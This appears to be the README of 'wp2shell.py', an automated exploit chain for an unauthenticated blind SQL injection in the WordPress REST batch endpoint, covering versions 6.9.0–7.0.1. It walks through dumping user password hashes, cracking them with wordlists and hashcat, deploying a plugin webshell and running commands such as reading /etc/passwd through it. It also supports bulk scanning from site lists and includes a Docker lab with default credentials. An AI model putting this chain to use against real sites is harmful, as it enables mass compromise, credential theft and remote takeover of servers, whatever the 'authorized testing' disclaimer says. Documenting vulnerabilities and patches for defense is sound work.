
Automated exploit chain for CVE-2026-63030 / CVE-2026-60137 — unauthenticated blind SQLi via WordPress REST batch route-confusion. Dumps user hashes, cracks credentials, deploys webshell. Supports single target and bulk site lists. For authorized security testing only.
WordPress REST batch route-confusion blind SQL injection — automated exploit chain.
CVE-2026-63030 / CVE-2026-60137
| Affected | WordPress 6.9.0 – 6.9.4 and 7.0.0 – 7.0.1 |
| Fixed | WordPress 6.9.5 / 7.0.2 |
| Sink | author__not_in SQL via desync'd author_exclude parameter |
| Auth required | None (unauthenticated SQLi) |
For authorized security testing only.
The WordPress REST API batch endpoint (/wp-json/batch/v1) allows nested batch requests. A double-nested desync payload shifts the internal $matches / $validation arrays, routing a crafted author_exclude value into the author__not_in SQL without sanitization. This gives unauthenticated blind boolean + timing SQL injection.
Exploit chain — 4 phases:
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
aiohttpcoloramapip install aiohttp colorama
Single target
python wp2shell.py http://target.com
Site list (one URL per line)
python wp2shell.py sites.txt
Site list + custom password file
python wp2shell.py sites.txt -p pass.txt
Known credentials (skip wordlist)
python wp2shell.py http://target.com --user admin --password admin123
Confirm SQLi with timing
python wp2shell.py http://target.com --confirm-sqli
No pretty permalinks
python wp2shell.py http://target.com --rest-route
Through Burp proxy
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| File | Content |
|---|---|
creds.txt | http://target=>user:pass (plaintext if cracked, hash if not) |
webshell.txt | Live webshell URL |
VULNERABLE.txt | All targets where phase 1 confirmed vulnerability |
All files append — results accumulate across runs.
Using the webshell — append ?cmd=COMMAND to the URL in webshell.txt:
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
If the wordlist misses, creds.txt contains the extracted hash:
hashcat -m 400 creds.txt wordlist.txt
Then rerun with the cracked password:
python wp2shell.py http://target.com --user admin --password <plaintext>
Spins up a vulnerable WordPress 7.0.1 instance for safe local testing.
First run — build volumes and install WordPress:
docker compose up -d db wordpress
docker compose run --rm wpcli
Subsequent starts:
docker compose up -d db wordpress
Stop:
docker compose down
Full reset (wipes all data):
docker compose down -v
Run exploit against the lab:
python wp2shell.py http://localhost:8080
Update to WordPress 6.9.5 or 7.0.2. The fix validates the batch route before dispatching nested requests, preventing the desync that exposes the SQL sink.
For use on systems you own or have explicit written authorization to test. Unauthorized use is illegal.
| Flag | Default | Description |
|---|
target | — | URL (http://target) or path to site list file |
-p FILE | — | Password list file (one per line) |
--user | — | Skip wordlist, use this username |
--password | — | Skip wordlist, use this password |
--confirm-sqli | off | Send active SQL timing probe after marker check |
--rest-route | off | Use /?rest_route=/batch/v1 (no pretty permalinks) |
--sleep N | 3.0 | SQL SLEEP() delay in seconds |
--samples N | 3 | Timing sample pairs for median calculation |
--timeout N | 30.0 | HTTP request timeout |
--prefix PREFIX | wp_ | Database table prefix |
--proxy URL | — | HTTP/HTTPS proxy |
| URL | http://localhost:8080 |
| Admin | admin / admin123 |
| MySQL host | db |
| MySQL user/pass | wpuser / wppass |
| Database | wordpress |